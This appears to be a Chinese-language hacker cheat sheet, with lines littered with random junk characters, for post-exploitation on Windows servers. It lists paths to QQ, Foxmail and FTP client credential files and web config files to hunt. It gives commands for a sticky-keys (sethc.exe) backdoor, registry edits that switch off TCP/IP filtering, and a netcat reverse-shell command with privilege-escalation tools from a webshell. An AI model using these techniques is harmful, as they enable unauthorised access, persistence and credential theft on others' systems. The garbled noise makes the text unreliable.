2 z. A1 v2 B( f* {/ l6 A9 C$ gc:\Program Files\Tencent\qq\bin\qq.exe
  |, W. v5 }; z" c; l& S! [' Q7 v8 m+ L5 tc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
4 T8 ]: i1 ]/ R! Uc:\Program Files\Tencent\qq\Users\All Users\Registry.db
/ r$ L" v% r/ T2 a3 b: Y( c& JC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
: ~/ q7 G5 \- h7 O8 cc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
& F. D+ i: k- O1 n9 [9 ac:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
7 V* E, x" t9 ]' v3 U$ b5 T1 cC:\Program Files\Foxmal\accounts.cfg
" K# x  F2 Z% O- q. E/ y1 vC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
( W: h- W- b& T7 T8 ^; B, HC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
2 V' R6 D% _) p. i% {- pC:\Program Files\StormII\Storm.exe

3.网站相对路径:
$ S, X: o& Z4 Q: W! z4 B( j! a) O
+ y3 l; L+ {& s' _' p& c+ k/config.php
% U; {" @' v3 E../../config.php
% }6 g3 r5 d) r* ^../config.php
- @. X" o" F3 |3 O3 U' m3 d! M../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
1 g( S" T: R# n, w9 U../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
7 }8 U# {* D( Y/ w& c../../conn.php
2 q  y0 j+ F3 S% [* u6 @../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
$ F7 I0 r% w! F../../../conn.asp
/config.inc.php
& u0 k/ b7 J3 y+ n./config.inc.php
5 }: D  G2 J1 k0 |* K% k! @0 l! U../../config.inc.php
  p- I$ i* f! L8 p# ?( u, e../config.inc.php
& g3 e4 k4 A* X8 o2 l../../../config.inc.php
/config/config.php
../../config/config.php
) h  V+ S* E2 e- R3 d4 J../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
2 z' I3 S& I0 p; u& ^" N% ?3 W8 T/ w../config/config.inc.php
../../../config/config.inc.php
* C' b' x) ?- L9 L2 e1 `/config/conn.php
./config/conn.php
+ C' ~& i1 A( g7 @4 v2 Z../../config/conn.php
../config/conn.php
../../../config/conn.php
! `+ @- i8 K6 v0 ]; X5 T) g: E+ S/config/conn.asp
./config/conn.asp
../../config/conn.asp
: B$ @: @& c/ Z4 Z2 o" @8 m2 N../config/conn.asp
( _+ D6 s- U+ \$ v../../../config/conn.asp
/config/config.inc.php
7 z! z; R1 O/ C/ k./config/config.inc.php
+ U! E) f- h( `7 I! E8 {+ X../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
6 I, k- r! z9 t) n6 g" t../../data/config.php
5 Q' m" T2 N  ?6 `9 ~7 {! l) j../data/config.php
9 G) p2 U5 @1 w7 Q3 R../../../data/config.php
9 z0 u1 s5 Q1 H8 t2 p/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
" m; M7 r* x5 ~! y8 ~8 W../data/config.inc.php
../../../data/config.inc.php
7 D+ \9 O% q8 @; k$ B# h! I/data/conn.php
: f/ m; C2 R0 t, a: N. a./data/conn.php
../../data/conn.php
../data/conn.php
2 p; M2 q9 F9 [0 t' W2 L* B) j2 I" ~../../../data/conn.php
/data/conn.asp
8 s0 B; ^/ ^5 U  I./data/conn.asp
../../data/conn.asp
../data/conn.asp
7 C8 \* J. `, B# ?+ t5 E../../../data/conn.asp
# A7 v9 Y% ~  ~- d0 ^' L2 Z/data/config.inc.php
./data/config.inc.php
. e( c4 j6 B+ K; o% r0 W  |../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
2 J% W% l! d% G+ ^) U- ]./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
' _- n- y- m! q% r) c% U, ~/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
# e: ^- {0 w6 `( f' p../../../include/conn.php
/include/conn.asp
! Q9 G1 h+ C% s* m! r./include/conn.asp
  I' T$ A: R9 e: B../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
  _, Z6 A' A: T/include/config.inc.php
, a5 }/ ~) t/ M+ N2 M/ J6 |$ B8 t# ]! v./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
6 |/ G) a) {7 J/ _. A) r../../inc/config.php
../inc/config.php
8 A7 H4 M5 J6 D. e7 c$ ]../../../inc/config.php
. G% @' X! Y& S5 O& B/inc/config.inc.php
./inc/config.inc.php
- y. s. H! }$ {1 b../../inc/config.inc.php
7 C  t2 n7 ~3 j../inc/config.inc.php
" u7 d9 Y1 l$ S../../../inc/config.inc.php
) o: Q. s6 H4 Q: ~4 s! Q/inc/conn.php
2 \% U% e" G3 [/ p) b7 m% ~, z./inc/conn.php
../../inc/conn.php
../inc/conn.php
- _; j% D0 T% r" W../../../inc/conn.php
7 ^! V6 \9 h* n: K3 Y/inc/conn.asp
/ k  P7 Y7 v* g0 K./inc/conn.asp
3 b$ m* b8 ^8 z0 k../../inc/conn.asp
../inc/conn.asp
2 Y6 }# M, k% ^* ]# Q& S2 Z. Q, v' X../../../inc/conn.asp
* v3 H8 b4 O, c8 y, b/inc/config.inc.php
./inc/config.inc.php
+ d9 C* p( U2 p0 P7 i' R5 C% [../../inc/config.inc.php
3 |- |- h, p0 Y# h../inc/config.inc.php
( f8 D# M2 Q, ^; i../../../inc/config.inc.php
4 ]. Q1 t0 [) @9 c0 h/index.php
8 o  [' j; R9 X& Y./index.php
+ C9 x9 g9 }/ M+ {0 Z' {' a../../index.php
../index.php
../../../index.php
4 I( H7 c" Y# z. f/index.asp
./index.asp
6 @4 B  Q8 C2 C! S% H../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
; F7 |) t; k) G. ?/ N　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# {  G" y# Y/ O/ c" a& c0 A5 G
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

# l( B8 d' [. J( U  E, ~% G　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
8 E) z9 {+ Q* D3 MTCP/IP筛选在注册表里有三处，分别是：
# `5 y) f% L) c$ J+ N' V% MHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
" U7 W' ^1 J* {! QHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
$ U8 U6 h- y: bHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
0 S( y- f+ z- Z8 Z+ r* [- W
; X, x8 [' ^( z) O然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
7 o. `( M( m4 ?& l" @' n
再将以上三个文件分别用
9 X6 ^4 f: z  z& l9 jregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
0 t, ]6 W0 t7 K/ d( M* \8 t; }- k& T导入注册表即可

webshell提权小技巧
cmd路径:
: \: k9 _. x$ O  L" N% J% X( Uc:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
2 W9 _1 q+ V- B( r3 @5 R- d% z
( B7 ?' \8 E* v3 F而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
; F% O1 J1 r5 _7 U5 J却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功